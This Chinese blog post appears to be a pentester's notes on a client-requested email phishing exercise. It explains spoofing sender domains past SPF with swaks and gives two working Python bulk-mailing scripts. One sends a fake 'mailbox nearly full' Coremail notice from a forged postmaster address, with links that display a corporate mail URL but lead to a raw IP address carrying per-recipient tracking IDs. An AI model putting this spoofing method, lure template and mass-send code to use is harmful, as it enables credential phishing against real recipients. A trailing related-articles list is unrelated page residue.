• 关于邮件钓鱼的事件记录


    最近接到一个活,是需要给客户进行邮件钓鱼。客户的要求是:伪造他们自己的邮箱进行钓鱼。
    之前按我的理解是,邮箱网关服务器配置了spf的话,理论上是无法伪造邮箱的。但是实际上测试好像还是可以的,目前为止好像就qq邮箱比较严,伪造不了,163啥的都可以,只是不能伪造一些大型的域名。

    目前搞这些活的思路就是,你先把邮件样式搞定,然后用foxmail去管理这个邮箱。
    然后邮件导出这个右键为eml后缀。

    然后通过swaks --data data.eml -t xxxx@xxx.com -f xt-manager@xxx.com

    如果报流程里一直请求的是localhost:25,可以指定 --server mail.xxx.com

    -f 必须存在,不然会报错。

    结合下面的代码就可以批量发送邮件。

    import time
    import sys
    import subprocess
    #发送的完整邮件内容有2部分组成,一部分是收件人,是可变的,一部分是邮件内容,是不变的,内容使用file_c变量,收件人使用file_f变量,具体看脚本内容
    
    file_c = '''Subject: =?gb2312?B?xxxxxxxdLss6M=?=  
    #主题等都是gb2312编码后的base64加密
    #Thread-Topic: =?gb2312?B?0/Lxxxxxxxxxss6M=?=
    Thread-Index: AdT6eO/KxxxxxxxxxxxxxxxxIKA==
    Date: {time.ctime()} +0800
    #发送邮件是提前发送的模板邮件,所以需要获取当前时间作为发送时间,不然接收的时间会不对
    Accept-Language: zh-CN, en-US
    Content-Language: zh-CN
    X-MS-Has-Attach:
    X-MS-TNEF-Correlator:
    x-originating-ip: [x.x.x.x]
    Content-Type:xxxxxxxxx;
    Return-Path: administrator@xxx.com
    xxx内容xxx '''
    
    
    
    file = open(f'/usr/local/src/{sys.argv[1]}', 'r')
    names = file.readlines()
    for name in names:
        file_f = f'To: "{name.strip()}" <{name.strip()}>
    '
        #print(file_f)
        with open('/usr/local/src/file.txt', 'w') as f:
            f.writelines(file_f + file_c)
        status = subprocess.Popen(['./swaks', '--data', '/usr/local/src/file.txt', '--to', name.strip(), '--from', 'administrator@xxx.com'], stdout=subprocess.PIPE)
        lg = status.stdout.readlines()
        print(type(lg))
        with open('/usr/local/src/log.txt', 'a+') as g:
            for line in lg:
                g.write(line.decode())
    

    subprocess.Popen在3.7之后可以用subprocess.run代替,其中多了timeout的参数,增加了阻塞结束的作用。

    给一个自己的smtp的py代码吧。

    '''
    @Author: your name
    @Date: 2020-07-06 09:56:36
    @LastEditTime: 2020-07-07 13:04:53
    @LastEditors: Please set LastEditors
    @Description: In User Settings Edit
    @FilePath: smtpsendmail-by SMTP-mail.py
    '''
    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    
    import time
    import smtplib
    import hashlib
    import eventlet
    
    from email.mime.text import MIMEText
    from email.header import Header
    from email.utils import formataddr
     
    eventlet.monkey_patch()
    time_limit = 5
    
    
    def mail_content(receiver):
        name = receiver[0]
        mail = receiver[1]
        uuid = receiver[2]
    
    
    #     mail_msg = """
    # <blockquote style="margin-Top: 0px; margin-Bottom: 0px; margin-Left: 0.5em; margin-Right: inherit"><div>    %s ,您好:</div>
    # <div>您的邮箱使用即将达到容量上限,清及时清理,以保证邮件的正常接受。邮箱服务器地址:<a href="http://xxx/mail/index.php?uuid=%s" class="" target="_blank">https://email.cninfo.com.cn</a>。</div>
    # <div>   Dear %s ,Your mailbox is nearly full. You'd better clear up it to ensure receiving incoming messages.URL:<span style="line-height: 1.5; background-color: transparent;"><a href="http://xxxx/mail/index.php?uuid=%s" target="_blank">https://email.cninfo.com.cn</a></span><span style="line-height: 1.5; background-color: transparent;">.</span></div>
    # <div>&nbsp;</div>
    # <div>Generated by Coremail.</div>
    # <div>&nbsp;</div>
    # </blockquote>
    
    # """%(mail,uuid,mail,uuid)
        mail_msg = """
        <p style="text-align:justify"><span style="font-size:10.5pt"><span style="font-family:Calibri"><span style="font-size:10.5000pt"><span style="font-family:微软雅黑">%s<span style="font-family:微软雅黑">您好</span><span style="font-family:Calibri">:</span></span></span></span></span></p>
    
    <p style="text-align:justify"><span style="font-size:10.5pt"><span style="font-family:Calibri"><span style="font-size:10.5000pt"><span style="font-family:微软雅黑"><span style="font-family:微软雅黑">您的邮箱使用即将达到容量上限,清及时清理,以保证邮件的正常接受。邮箱服务器地址:</span></span></span><a href="http://103.14.33.238/szzq/mail/index.php?uuid=%s"><u><span style="font-family:Calibri"><span style="color:#0563c1"><u>https://</u></span></span></u><u><span style="font-family:Calibri"><span style="color:#0563c1"><u>email</u></span></span></u><u><span style="font-family:Calibri"><span style="color:#0563c1"><u>.cninfo.com.cn</u></span></span></u></a><span style="font-size:10.5000pt"><span style="font-family:Calibri"><span style="font-family:微软雅黑">。</span></span></span></span></span></p>
    
    <p style="text-align:justify"><span style="font-size:10.5pt"><span style="font-family:Calibri"><span style="font-size:10.5000pt"><span style="font-family:微软雅黑">%s,Your mailbox is nearly full. You&#39;d better clear up it to ensure receiving incoming messages.</span></span><span style="font-size:10.5000pt"><span style="font-family:Calibri">URL<span style="font-family:微软雅黑">:</span></span></span><a href="http://103.14.33.238/szzq/mail/index.php?uuid=%s"><u><span style="font-family:Calibri"><span style="color:#0563c1"><u>https://</u></span></span></u><u><span style="font-family:Calibri"><span style="color:#0563c1"><u>email</u></span></span></u><u><span style="font-family:Calibri"><span style="color:#0563c1"><u>.cninfo.com.cn/</u></span></span></u></a><span style="font-size:10.5000pt"><span style="font-family:Calibri">. </span></span></span></span></p>
    
    <p style="text-align:justify">&nbsp;</p>
    
    <p style="text-align:justify"><span style="font-size:10.5pt"><span style="font-family:Calibri"><span style="font-size:10.5000pt"><span style="font-family:微软雅黑">Generated by Coremail.</span></span></span></span></p>
    """%(mail,uuid,mail,uuid)
        return mail_msg
    
    
    subject = '邮箱容量将满/ Your mailbox is nearly full'   #显示标题
    sender = 'postmaster@xxxx.com' #显示发件人
    
    # @retry(stop_max_attempt_number=5,stop_max_delay=3000)
    # @time_out(2,timeout_callback)
    def mail_send(sender,mail_user,message):
        smtpObj.sendmail(sender, mail_user, message.as_string())
    
    smtpObj = smtplib.SMTP('smtp.xxxx.com.cn') #连接smtp服务器
    SMTP = 'smtp.xxx.com.cn'
    
    with open('./../mail_list_test.txt','r',encoding ='utf-8') as receivers_list: #读取邮件列表
        success = 0 #成功计数
        fail = 0    #失败计数
        for receiver in receivers_list.readlines():
            sign = 0
            if receiver.strip() == "":  #判断空行
                continue
            receiver = receiver.strip().split(',')
            time.sleep( 3 ) #发送间隔秒
            name = receiver[0]
            mail_user = receiver[1]
            try:
                message = MIMEText(mail_content(receiver), 'html', 'utf-8') #生成邮件内容--正文HTML
                message['Subject'] = Header(subject, 'utf-8')   #生成邮件内容--标题
                message['From']=formataddr(["邮箱系统管理员",sender])
                message['To']=formataddr([name,mail_user]) #生成收件人
                if "chacuo" in mail_user:
                    smtpObj = smtplib.SMTP('mx.chacuo.net') #连接smtp服务器
                    SMTP = 'mx.chacuo.net'
                smtpObj.set_debuglevel(1)
                with eventlet.Timeout(time_limit,False):
                    mail_send(sender,mail_user,message)
                    print ("邮件发送成功,收件人为 %s,MX=%s"%(mail_user,SMTP))
                    success += 1
                    sign = 1
                    with open('success1.txt', 'a+',encoding ='utf-8') as f: #不超时记录成功发送的邮件地址
                        f.writelines(mail_user+"
    ")
                if sign == 0 :
                    fail += 1
                    print ("Error: 邮件因为超时发送失败,本次收件人为 %s,MX=%s"%(mail_user,SMTP))
                    with open('fail1.txt', 'a+',encoding ='utf-8') as f:   #超时记录失败的邮件地址
                        f.writelines(mail_user+"
    ")
            except smtplib.SMTPException:
                fail += 1
                print ("Error: 邮件发送失败,本次收件人为 %s,MX=%s"%(mail_user,SMTP))
                with open('fail1.txt', 'a+',encoding ='utf-8') as f:   #try错误记录失败的邮件地址
                    f.writelines(mail_user+"
    ")
        print("本次发送邮件最终,成功了%s人,失败了%s人。"%(success,fail))
    
  • 相关阅读:
    php-管理变量
    php-变量的间接引用
    php-eval()
    HTML
    php观
    笔记1
    脚本语言
    Windows Server 2012如何把快捷方式加到启动文件夹中
    VIM的笔记
    mongodb 从3.0 升级到3.2
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/13226313.html
Copyright © 2020-2023  润新知